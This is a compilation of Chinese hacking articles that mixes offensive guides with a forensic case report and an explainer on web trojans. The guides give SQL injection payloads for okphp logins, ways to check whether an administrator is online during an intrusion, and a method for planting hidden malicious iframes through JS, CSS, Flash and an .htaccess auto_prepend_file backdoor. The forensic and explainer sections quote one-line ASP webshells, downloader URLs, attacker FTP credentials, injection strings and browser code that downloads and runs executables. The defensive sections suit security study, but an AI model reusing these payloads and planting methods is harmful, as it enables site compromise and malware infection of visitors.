上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

 

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用"返回结果不同"注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

 

问题代码同漏洞1。
语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin' AND LENGTH(password)=6#
sql语句变成:

$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
相当于:

$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

呵呵,这样我们就可以猜解用户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#
可以猜用户的密码第一位的ascii码值............。

 

三.后话:

  这篇文章是在网吧看代码写出来的,只是粗略的看了下代码,文章所提到的"漏洞"都没有经过测试。可能有的"漏洞"根本就不存在,也可能漏掉了不少东西,这些都不是很要紧,因为本文的重要目的是看php+mysql注射时的语句构造,通过本文,可以看出:虽然看起来php好象要比asp安全,不过一但变量没有过滤完全,php的注射要比asp注射更灵活,更多注射方法。 由于作者水平等原因,可能文章不少错误,还请多指点。




Modified At 2008-06-02 23:15:48

如何判定管理员是否在线

Inking注:我喜欢query user,人比较懒,什么方便用什么,而且自己做“坏事”时从来不小心的 ^o^
 
随着网络黑客工具的简单化和傻瓜化,越来越多的网络爱好者可以通过现成的攻击工具轻松的入侵主机,然而谁也不想在管理员的眼皮底下做入侵,所以在入侵成功以后,一个很重要的事情是:你能不能确认你的行为在别人的监视之下?所以我们首先要知道管理员是不是现在正在你入侵的主机上?
如何判定管理员在线,我们要知道的是管理员是通过什么方式管理主机的:是pcanywhere、vnc、DameWar、终端服务、ipc、telnet还是本地登陆···
一、对于用第三方的控屏工具(pcanywhere、vnc、DameWar等),你只要看相应端口有没有状态为"ESTABLISHED"的连接。一个netstat -an就可以知道,如果想查看与端口相关的进程,使用Fport.exe就可以了。比如我们在一台主机上使用netstat -an发现如下的信息:
Active Connections
Proto Local Address Foreign Address State
TCP lin:1755 lin:telnet ESTABLISHED
TCP lin:1756 lin:netbios-ssn ESTABLISHED
TCP lin:1758 202.103.243.105:http TIME_WAIT
TCP lin:1764 202.103.243.105:http TIME_WAIT
TCP lin:6129 lin:1751 ESTABLISHED
使用Fport.exe得到如下的信息:
Pid Process Port Proto Path
528 mysqld-nt -> 3306 TCP D:\mysql\bin\mysqld-nt.exe
1328 DWRCS -> 6129 TCP C:\WINNT\SYSTEM32\DWRCS.EXE ---这个是DameWare Mini Remote Control服务
8 System -> 138 UDP
248 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
------从这个可以看出,管理员是通过DameWare Mini Remote Control来管理现在的主机,连接的端口是6129。同样如果管理员使用其他的控屏工具,比如pcanywhere、vnc我们也是可以通过netstat -an查看端口连接的情况。
 
  二、对于从本地或终端服务登陆的,看看有几个winlogon进程,我们可以使用的工具是PSTOOLS的PULIST.EXE,它能够查看本机的所用正在运行的进程。然后单凭有几个winlogon进程也很难判定在线的是不是管理员,因为一般用户和管理员都是通过图形界面登陆的,身份验证都是在GINA(GINA - Graphical Identification andAuthentication图形标识和身份验证)中进行,而GINA又和Winlogon进程紧密相关,所以查看有几个winlogon进程只能知道当前有几个用户登陆主机。这个办法也是给一个参考而已吧,给一个例子,这样应该好理解一点:
在主机上运行pulist.exe(至于如何才能在主机上运行pulist.exe,我想这个问题也不用说了吧),进程情况:
PID Path
0 [Idle Process]
8 [System]
160 \SystemRoot\System32\smss.exe
184 \??\C:\WINNT\system32\csrss.exe
208 \??\C:\WINNT\system32\winlogon.exe ----这个
680 C:\WINNT\System32\svchost.exe
404 C:\WINNT\Explorer.EXE
1088 \??\C:\WINNT\system32\csrss.exe
1084 \??\C:\WINNT\system32\winlogon.exe ----还有这个
在这个上面我们发现了有二个的winlogon.exe,就可以知道目前有2个用户通过本地或终端服务登陆主机,结合上面说的判定方法,使用netstat 查看TCP端口连接:
Num LocalIP Port RemoteIP PORT Status
10 192.168.0.1 3389 192.168.2.1 1071 Established ----终端的
可以看出使用的是终端3389连接。
 
  三、对于用telnet登陆的,telnet的登陆不是通过winlogon来管理的,还是看相应端口的连接吧,我们知道的是一般情况下telnet使用23端口连接,通过netstat -an可能很清楚的看出23端口有没有打开:
C:\>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 127.0.0.1:23 127.0.0.1:1030 ESTABLISHED
TCP 127.0.0.1:1030 127.0.0.1:23 ESTABLISHED
我们也可以通过上面的方法查看相应的进程,比如我们使用FPORT.EXE是得到如下的信息:
E:\HACK>fport
FPort v2.0 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
660 inetinfo -> 21 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
1112 tlntsvr -> 23 TCP C:\WINNT\system32\tlntsvr.exe
660 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
416 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
660 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
8 System -> 1028 TCP
408 telnet -> 1030 TCP C:\WINNT\system32\telnet.exe
从上面的信息可以知道23端口对应的正是telnet服务tlntsvr.exe。
 
  四、通过IPC$管道进行管理,这个可以通过WINDOWS NT系统内置的工具NET SESSION,它的作用是列出或断开连接本地计算机和与它连接的客户之间的会话。
下面给出一个结果:
E:\HACK>net session
计算机 用户名 客户类型 打开空闲时间
-------------------------------------------------------------------------------
\\LIN LINYUN Windows 2000 2195 0 00:08:47
命令成功完成。
从这个上面我们就可以看出当前有一个用户名为LIYUN的用户登陆主机LIN。在这里给大家推荐一个比较好的工具——PSTOOLS里面的psloggedon.exe,它不仅能列出使用IPC$登陆的用户,而且能列出本地登陆的用户。
E:\Pstools\Pstools>psloggedon.exe
PsLoggedOn v1.21 - Logon Session Displayer
Copyright (C) 1999-2000 Mark Russinovich
SysInternals - _blank>www.sysinternals.com
Users logged on locally:
2004-*-* 14:33:38 LIN\Administrator -----这个是本地登陆的用户administrator
Users logged on via resource shares:
2004-*-* 14:41:04 LIN\LINYUN -----这个是使用IPC$连接的用户LINYUN
 
  如何判定管理员是否在线是一个比较深入的话题,上面说的仅仅是提供一个思路,当然了,如果管理员登陆了,却锁定了主机,或者正在运行屏幕保护程序,这一些就都不好说了!有矛必有盾,我们既然能通过各种的方式判定管理员是不是在线,同样,管理员也能通过这样的途径知道自己是否被入侵,从而尽快的查出入侵者,所以请广大的网络爱好者不要以身试法,入侵国内主机。

突破权限继续挂马

文章作者:Inking
个人主页:http://www.inkings.cn
 
        写这篇文章的目的主要是因为自己在为刚开的博客刷点流量时遇到了点困难,所以就花了点时间想了下这个问题,既然想了下,所以就干脆梳理出来写成文章,也许对刚刚接触这块的同志们会起到点作用吧。
        首先讲一下挂马要挂到哪里。讲到挂马,很多人会不由自主的想到“首页挂马”,一想到首页就想到index.*文件了,当然这不失为一个好办法,首页的浏览量通常是最大的,但是这绝对不是一个最优的办法。也有的人说干脆批量挂马,针对这种思想我无任何话说。我们仔细想一想,哪个东西在网站出现的概率是最大的,呵呵当然是header了(网站的最顶部,通常用于放置logo等),其次便是foot和sidebar了,按照HTML的执行顺序(从上到下),最好的办法就是挂在header里面了,所以挂马时先针对网站的特点,找一个最好的对策来进行挂马。此外像global.*、config.*这类网页文件也是一个好地方,被其他网页调用的概率极大。
 
        解决了挂马地方的问题后我们要着重讨论如何针对管理员设置的权限进行挂马,这些方法很多人应该都在用,我只是针对自己所学的知识进行梳理。一般来说挂马的方式有两种,一种是直接往要挂的网页文件里插入一个iframe标签,还有一种是用js的document.write写入一个iframe标签。我们首先讨论js挂马。js挂马最好的一个优点是隐蔽,因为管理员无法直接通过搜索找到iframe标签,而且我们可以针对插入的js代码进行加密,这样隐藏的效率就更高了。在这篇文章里我们并不是利用js的隐蔽性,而是它的自由性——js可以从任何一个可访问的网站被调用。在我昨天遇到的情况里就是利用这个办法。我想去挂对方的index.php和header.php两个文件,但是发现所以的php脚本文件都被设置了不可改权限,所以直接想改写该文件是不可能了,我只能通过其调用的文件进行挂马。通过阅读源代码,发现程序员调用了很多的js文件,所以我便一个个去找,然后找到两个没有被限定权限的js文件,其中一个文件是站长流量统计的,由于统计代码在整站都是会被调用的,结果改写了仅仅一个js文件,整个网站的所有网页都被挂上去了,而且其它子域的网页也被挂上,当然这几个域的网页是不在这台服务器上的,js的优点瞬间体现了出来。这也是利用了管理员的疏忽——只设定php文件的权限。
 
        联想到我的实例,大家很容易想到类似的方式——css文件。css文件被调用的概率应该说比js还大,一个网站的模型一般只有一个,那么肯定有一个主要的css文件了,而css文件又具有执行js代码的能力,而且这种文件的权限更难被管理员关注到,隐蔽性也非常之好,所以其可行性最高了。css挂马的代码为:
 
body{background:url(javascript:document.write("<iframe></iframe>"))}
 
        代码可以有多种形式,具体大家自己去学习了
 
        但是如果真个目录都被限制了呢,但是我们想到有一个目录一般来说是不会被限制写入权限的——img目录。假如说这个目录里面有flash文件的话,而且这个flash文件又是网站的顶部显示部分,那么我们便可以大喜了。我们可以将flash文件下载下来,然后编辑里面的代码,写入我们的挂马代码,然后替换掉原来的flash文件就行了。具体如何写代码就不讲了。再如果这个网站是一个图片类网站,我们找到某张被下载概率最大的图片,编辑它,插入我们的js代码(当然不是随便插代码就行的,随便插的话图片会无法显示),然后等用户在其它窗口打开图片时我们的js代码就执行了。但是这样的方式并不是很好,一个是窗口存活的时间短,还没等木马被下载窗口已经关闭了,还有一个是被打开的概率不是很大,太被动了。这只是一直思路而已
 
以上都是js或者类似js挂马的方式,大家还可以针对实际情况进行发散。下面是服务端脚本挂马了。最简单的就是看要挂的文件include了哪几个脚本文件,假如说被inlude的文件没有被设权的话可以插入我们的代码,比如PHP的话这样写:
echo "<iframe ></iframe>";
 
        一般来说像global、config这类的文件被其它网页include的概率大,但是像挂这类文件你需要十分小心,因为如果该文件或者include它的文件里面有header或者session操作的话很可能会导致错误,结果被管理员发现了。
 
        但是如果php、asp这类文件像我遇到的情况被设置权限了呢?在php里有一个特性,.htaccess会覆盖apache的php.ini的设置,但是这个需要打开apache的AllowOverride All功能,但是这样对于我们来说太烦了。我们只要在这个网站里面找一下有没有.htaccess文件,如果有的话而且文件夹允许我们上传新的文件,那么我们很可能会成功了。具体的利用如下:
 
在我们电脑上添加一个.htaccess文件(需要dos下对txt文件重命名)
然后用记事本编辑它,写入如下代码:
php_value auto_prepend_file "要include的文件名"
 
然后将这个文件和”要include的文件名”放到相应的目录下,这样该目录以及子目录都被会include该文件。在”要include的文件名”里可以这样写
 
<?
ob_start();//这句话千万不能少,要不很可能会因为head和session而导致错误
echo "<iframe></iframe>";
?>
 
        同样在asp和iis下也有类似方法,参见我的博客:http://www.inkings.cn/blog/?p=106
 
        还有一种方法是直接通过数据库insert或者update一个框架。既然我们一般的入侵方式都是从数据库开始的,这种方式当然是很好的,就算管理员再怎么严格的设定硬盘权限,他也挡不住数据库里的内容。我们可以到首页看一下,找到一篇文章ID,然后update进去一个框架,具体如何update那是你自己的事情了呵呵。

真实的网络攻击取证纪实

 
作者:诚信网安--子明
随着信息技术的发展,越来越多的人都喜欢用计算机办公,发邮件,建设自己的个人站点,公司建立自己的企业站点,政府也逐渐的采取了网上办公,更好的为人民服务,银行和证券机构也都开始依托互联网来进行金融和股票交易,但是随着方便的同时也同时带来了新的一些计算机网络安全隐患,随着司法机关的介入,我相信在不久的将来,网络攻击调查取证也会成为立法机构必须要考虑设立的一门新的学科,目前来说开设这个的课程多在网络警察和一些特殊机关,现在我来给大家讲下我亲身经历并参与完成的一次取证过程,用事实来讲述;
我一直从事病毒分析,网络攻击响应相关的工作,这次应好朋友的邀请,帮忙配合去协查几台服务器,我们来到了某XXX驻地,首先进行例行检查。经过了 1天左右的时间的检查,其中用到了一些专用设备也包含自主编写的工具以及第三方提供的勘察取证软件,共发现问题主机服务器10台,其中2台比较严重,(以下用A服务器和B服务器来代替)和朋友商定后,决定带回我们的实验室,进行专项深入分析。
习惯的检查步骤操作:
服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间,中间有没有经过进行重新安装——>服务器维护情况——>服务器上面安装的软件版本信息
日志检查——IDS日志信息/IIS日志信息/系统日志信息
网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析。
上述步骤是我个人总结的,有不妥的地方还请朋友们指正,介绍完理论,我们来实践处理下这两台服务器。
A服务器检查处理过程
该A服务器所装的操作系统是Advanced 2000 server,服务器上安装的有瑞星2008杀毒软件,病毒库已经更新到最新版本。但是并没有安装网络防火墙和其他系统监视软件,安装的ftp服务器版本为server-u 6.0(存在溢出攻击的威胁)
 
一、对原始数据进行恢复
利用Datarecover软件来恢复一些被删除的文件,目的是希望从被删除的文件来找出一些木马或者后门以及病毒。进行深度分析,把曾经做过的格式化,以及在回收站中删除过的文件恢复过来,但是遗憾的是成功拿下这台服务器权限的黑客已经做了专业处理,把他的一些痕迹进行了全面清理,个人认为他使用了日本地下黑客组织开发的专项日志清除工具,经过我和助手的共同努力还是把系统日志恢复到当年5月份。
 
二、手工分析可疑文件
在本服务器的c盘根目录下面有一个sethc..exe 文件。这个文件是微软自带的,是系统粘制键,真实的大小应为27kb,而这个文件为270kb,起初我以为是由于打补丁的原因。但是经过翻阅一些资料和做比对之后,才知道这样的文件是一个新开发的流行后门,主要用法:通过3389终端,然后通过5次敲击shift键,直接调用sethc.exe而直接取得系统权限。随后达到控制整个服务器,通常他还是通过删除正常的一些c盘exe文件。然后把自己伪造成那个所删除的exe文件名。造成一种假象。
这里我们提供解决方法如下:个人建议这个功能实用性并不高,建议直接删除这个文件,如果有人利用这个手法来对你的服务器进行入侵,那就肯定是有人做了手脚,可以第一时间发现黑客入侵行为,也可以作为取证分析的一个思路;在控制面板的辅助功能里面设置取消粘制键。
 
三、 利用专用防火墙检查工具去查看网络连接情况
目的是通过抓数据包来找出问题。如果对方安装的有远程控制终端,他肯定需要让保存在服务器上的后门和控制终端进行通话,会有一个会话连接。通过防火墙的拦截功能而去寻找出控制的源头。这个上面没有发现存在反弹木马,所以没有看到入侵的源头。
 
四、检查系统日志
作用:检查系统日志是否被入侵者清除,如果日志被入侵者删除,需要用数据恢复软件恢复操作系统日志
检查内容:主要包括IIS日志,安全性日志,系统日志。
 
更近一步深入检查:
找到日志后,仔细分析网站是否有入侵者留下的webshell,尤其是一句话后门
根据Webshell的名字, 在IIS 访问日志里搜索相关的名字,找到入侵者常用的ip地址,分析ip地址
还可以根据此IP地址检索IIS日志中,此入侵者都进行过什么样的操作
 
技术点滴:如果你比较熟悉Webshell,通过Get操作可以知道入侵者都进行过何种操作。因为Get操作是被系统记录的。
如果入侵者装有系统级的后门,用常用工具比如冰刃(IceSword),System Repair Engineer (SREng)等分析出可疑文件,用其他调试工具分析找到入侵者控制端IP地址。
 
通过服务器日志查出隐藏在后面的幕后黑客
通过iis的log访问日志,排查出三个可疑目标,其中一个手法相对于后两个入侵者更熟练一些,他在今年5月份左右或者更早就拿到了该服务器权限,上来之后到是没有做任何的添加和修改,从技术上来看,他是通过寻找网站的注入点进来的,然后在上面放了不少的后门,还放了一个mm.exe的文件,但是因为技术问题,没有把这个马运行起来,从外部访问只是在主页上显示为mm.jpeg,伪装成了图片。但是打开以后,什么都没有。经过我们分析以后,它是一张裸女的 jpeg文件。如果他这个mm.exe成功,完全有可能将该主站页面换成一张黄色图片。危害还是有的。另外该站点权限给的过高,在访问新闻频道的时候,直接就是sa权限。这个是最高系统级和Admin是一个级别的。
由于服务器被网管人员重新装过,初步怀疑是用的ghost安装的,造成了原珍贵日志数据无法找回,我们只能分析出7月份-12月份这段时间的日志,通过这些日志我们又发现了针对此站点的入侵记录。
入侵者操作再现:(黑客入侵操作过程分析)
2007-07-15 14:51:53 61.184.107.206 添加管理用户 net localgroup administrator Cao$ /add
2007-07-15 15:08:56 61.184.107.206 写下载exe的vbs脚本 c:\admin.vbs 试图下载exe地址为:http://www.dianqiji.com/pic/2007/0428/admin.exe
2007-08-12 09:48:45 218.205.238.6 写入webshell小马:d:\ybcenter\gg3.asp shell里留的QQ:183037,之后此人频繁用此后门登陆服务器
2007-08-25 08:03:15 218.28.24.118 曾访问他以前留下的操作数据库的webshell /system/unit/main.asp 此后门可以浏览到敏感数据库的信息
2007-08-25 08:12:45 218.28.24.118 写入另一个webshell D:\ybcenter\ggsm.asp
之后,218.28.24.118用以前留下的功能比较全的webshell /Cnnsc.asp和/system/unit/Cnnsc.asp频繁操作服务器上文件
2007-11-11 14:23:23 218.28.24.118 用他曾经留下的操作数据库的后门/service/asp.asp访问敏感数据库的信息
2007-08-25 08:27:57 218.28.24.118 用他曾经留下的操作数据库的后门/system/unit/sql.asp访问敏感数据库的信息
2007-11-11 11:02:55 218.28.24.118 试图访问他曾经留下的操作数据库的后门/yb/in_main3.asp访问敏感数据库
2007-08-06 12:42:41 218.19.22.152 写下载脚本C:\down.vbs 下载的exe为http://ray8701.3322.org/1.exe
2007-08-09 11:57:16 218.19.98.147 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-08-26 07:43:47 123.5.57.117 试图攻击服务器
2007-08-26 07:43:47 123.5.57.117 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-12-10 12:41:34 123.52.18.141 检测注入
 
五、查看登陆信息 查看是否存在有克隆帐户
方法:检查注册表里面的sam文件有没有相同的fv,在这里检查过程中没有发现存在有克隆帐号。
 
六、查看系统安装日志,在这里并未发现问题
 
七、 查看IIS访问日志,在这里发现了攻击者信息
2007-12-01 08:55:16 220.175.79.231 检测注入
2007-12-03 18:40:48 218.28.68.126 检测注入
2007-12-04 01:31:32 218.28.192.90 检测注入,扫描web目录
2007-12-04 23:23:33 221.5.55.76 检测注入
2007-12-05 09:20:57 222.182.140.71 检测注入
2007-12-08 09:39:53 218.28.220.154 检测注入
2007-12-08 21:31:44 123.5.197.40 检测注入
2007-12-09 05:32:14 218.28.246.10 检测注入
2007-12-09 08:47:43 218.28.192.90 检测注入
2007-12-09 16:50:39 61.178.89.229 检测注入
2007-12-10 05:50:24 58.54.98.40 检测注入
定位可疑IP地址,追踪来源 查出IP地址的信息。
 
八、查看网站首页的源代码。
在iframe 这个位置查看是否有不属于该网站的网站信息。(查找 网马的方法),以及如何发现一些潜在的木马和网络可利用漏洞。
下面是我们得到的一些他的网马。
gg3.asp Q:183637
log.asp
pigpot.asp
webdown.vbs
attach/a.gif
attach/chongtian.gif
attach/111.rar
system/unit/yjh.asp
system/unit/conn.asp 加入防注入
Q:6242889678
images/mm.jpg = exe自解压 主页包含文件
一句话木马:
<%execute request %>
备份一句话木马
<%eval(request("a"):response.end%>
注射检查,在IIS里面查找是否存在的有针对
%20 and 1=1’sql
'or'='or' a'or'1=1-- ,'or1=1-- ,"or1=1-- ,or1=1--, 'or'a'='a, "or"="a'='a

作用:躲避验证信息 主要用在后台登陆上
%5c 爆数据库,作用直接下载服务器上的数据库,获得用户名和密码,经过系统提权而拿到整个服务器权限。
针对一些下载者这样的木马,主要需要在windows /document and setting下面的local setting 的 temp 或者 temp internet的这个文件夹中查看刚生成的exe文件,重点查看一下在system32文件夹下面的exe文件,尤其关注最新生成的exe文件,伪造的系统文件等。
以上就是针对A服务器的整个检查过程以及发现问题后该如何处理和补救的相关解决方法。
B服务器检查取证分析
B服务器装的是windows2000 server版本,操作步骤同上。
经过一段细心的检查还是让我和助手们发现了一个木马,起因是在网站源代码处发现都被插入了一些奇怪的代码,在system32系统文件夹下还发现了新的niu.exe,非常可疑,提取该exe文件,在虚拟机中进行分析,得出该exe工作原理:
该exe 属木马类,病毒运行后判断当前运行文件的文件路径如果不是%System32%\SVCH0ST.EXE,将打开当前文件的所在目录复制自身到% System32%下,更名为SVSH0ST.EXE,并衍生autorun.inf文件;复制自身到所有驱动器根目录下,更名为niu.exe,并衍生 autorun.inf文件,实现双击打开驱动器时,自动运行病毒文件;遍历所有驱动器,在htm、asp、aspx、php、html、jsp格式文件的尾部插入96个字节的病毒代码;遍历磁盘删除以GHO为扩展名的文件,使用户无法进行系统还原;连接网络下载病毒文件;修改系统时间为2000 年;病毒运行后删除自身。
以上是我配合有关部门参与的真实的一次的取证记录,因为答应过朋友要保守秘密,所以真实的一些ip地址和信息这里都做保留。同时在这里我要感谢安天cert组的战友的帮忙,以及身边的2个助手的并肩作战。

国内资深安全专家详谈网页木马

诚信网安--子明
【51CTO.com 专家特稿】当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播。
一 、什么是网页木马
网页木马是利用网页来进行破坏的病毒,它包含在恶意网页之中,使用脚本语言编写恶意代码,依靠系统的漏洞,如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时,网页木马便被激活,受影响的系统一旦感染网页病毒,就会遭到破坏,轻则浏览器首页被修改,标题改变,系统自动弹出广告,重则被装上木马,感染病毒,使用户无法进行正常的使用。甚至会引起系统崩溃,敏感信息丢失等严重后果。由于脚本语言易于掌握,所以网页木马非常容易编写和修改,造成很难提取特征值,增加了杀毒软件查杀以及用户预防的困难。
目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作,如改写注册表,添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。
1.利用WSH(Windows Scripting Host Object Reference)等系统控件
WSH,是“Windows Scripting Host”的简称,可以直译为“Windows 脚本宿主”。在Windows系统中会默认安装,它是内嵌于 Windows 操作系统中的脚本语言工作环境。
Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时,为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行,就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上,通过充当 ActiveX 的脚本引擎控制器,WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。
WSH也有它的不足之处,任何事物都有两面性,WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化;但也正是它的这一特点,使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒,并利用 WSH 的支持功能,让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷,通过JAVAScript,VBScript,ActiveX等网页脚本语言,可以改动受影响系统的注册表,利用服务器端脚本程序如:ASP,PHP等来记录访问网页者的相关信息,浏览之后,系统目录被完全共享;IP地址、访问时间、操作系统名称会被网页木马所记录,造成敏感信息的泄露。
2.Microsoft Internet Explorer等浏览器存在漏洞
3.脚本语言
用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序,不能独立运行,需要嵌入HTML文件,遵循标准,在支持Java的浏览器(如Microsoft Internet Explorer) 上运行,是Java一个重要的应用分支,它改变了传统网页呆板的界面,在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。
JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷,它是Java与HTML折衷的选择,具有基于对象、简单、安全、动态、跨平台性等特性。
ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术,ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时,ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术,如直接嵌入ActiveX控制,或者以ActiveX技术为桥梁,将其它开发商提供的多种语言的程序对象集成到Java中。与 Java的字节码技术相比,ActiveX提供了“代码签名”(Code Signing)技术保证其安全性。
造成网页病毒传播和形成的主要原因,是因为Windows操作系统以及Microsoft Internet Explorer等浏览器存在漏洞。
二、网页木马的攻击原理
网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
打开一个网页,IE浏览器不会自动下载程序和运行程序,这是因为,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载程序和运行程序。
1.下载可执行文件.
index里有一个代码漏洞<LINK href="ray.exe" rel=stylesheet type=text/css>,IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录.
也可以利用<SCRIPT LANGUAGE="icyfoxlovelace" src="http://test.net/1.exe"></SCRIPT>这段代码,把这段代码插入到网页源代码的</BODY>…</BODY>之间,运行后就会发现在IE的临时目录Temporary Internet Files下,已经下载了1.exe这个病毒文件。
2.自动运行程序
<SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT>
把这段代码插入到网页源代码的</BODY>…</BODY>之间,然后用IE打开该网页,这段代码可以在IE中自动打开记事本。
这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,就可以用它自动运行本地电脑上的任意程序。
通过以上的例子可以看出,利用IE的漏洞,在网页中插入相关的代码,IE完全可以自动下载和运行程序。
三、可能被网页木马利用的漏洞
1.利用URL格式漏洞
此类网页木马是利用URL格式漏洞来欺骗用户。构造一个看似JPG格式的文件诱惑用户下载,但事实上用户下载的却是一个EXE文件。
此类攻击,具有相当的隐蔽性,利用URL欺骗的方法有很多种,比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼,还有漏洞百出的“%30%50”之类的Unicode编码等等,现在列举比较常见的几种方法:
(1).@标志过滤用户名的解析
本来@标志是E-mail地址的用户名与主机的分隔符,但在URL中同样适用,而且功能如出一辙。HTTP(超文本传输协议)规定了URL的完整格式是“Http://Name:Password@IP地址或主机名”,其中的“IP地址或主机名”是必填项。@标志与其前面的“Name: Password”,意为“用户名:密码”,属于可选项。也就是说,在URL中真正起解析作用的网址是从@标志后面开始的,这就是欺骗原理。
比如用户访问“Http://www.sina.com@www.Trojan.com.cn/HuiGeZi_Server.exe”,从表面上看,这是新浪网提供的一个链接,用户会认为这是一个无害的链接,而点击,而实际上 “www.sina.com”只是个写成新浪网址形式的用户名(此处的密码为空),因为后面有@标志。而真正链接的网址却是 “www.Trojan.com.cn/HuiGeZi_Server.exe” 也就是说这个发来的URL地址其实完全等同于“Http://www www.Trojan.com.cn/HuiGeZi_Server.exe,而与前面的用户名毫无关系,只是迷惑性可就大大提高了。即使没有这个用户名,也完全不影响浏览器对URL的解析。
(2).十进制的IP地址
常见的IP地址包括四个字节,一般表示形式为“xxx.xxx.xxx.xxx”(x表示一个十进制数码),例如“61.135.132.12”。因为数字IP地址较长,且过于抽象、难以记忆,所以采用域名服务DNS来与之对应。在浏览器地址栏中输入“Http://www.sohu.com”与 “Http://61.135.132.12”的结果完全一样,都是访问搜狐网站,因为61.135.132.12就是搜狐域名www.sohu.com的IP地址。不过,用Http://1032291340访问的话,仍然可以打开搜狐网站,这是因为,四位点分十进制形式的IP地址“61.135.132.12”代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1032291340。转换方法,就是数制的按权展开:12×2560+132×2561+135×2562+61×2563 =12+33792+8847360+1023410176=1032291340(基数为256,即28)。在上文的例子中提到了 “www.Trojan.com.cn/HuiGeZi_Server.exe”。这种字母域名有时还能被用户识破,而在把它对应的IP地址(假设为 “61.135.132.13”)换算成一个十进制数后,结果是1032291341,再结合@标志过滤用户的解析,就会变成Http://www.sina.com@1032291341这样的地址,这样就更加隐蔽了。
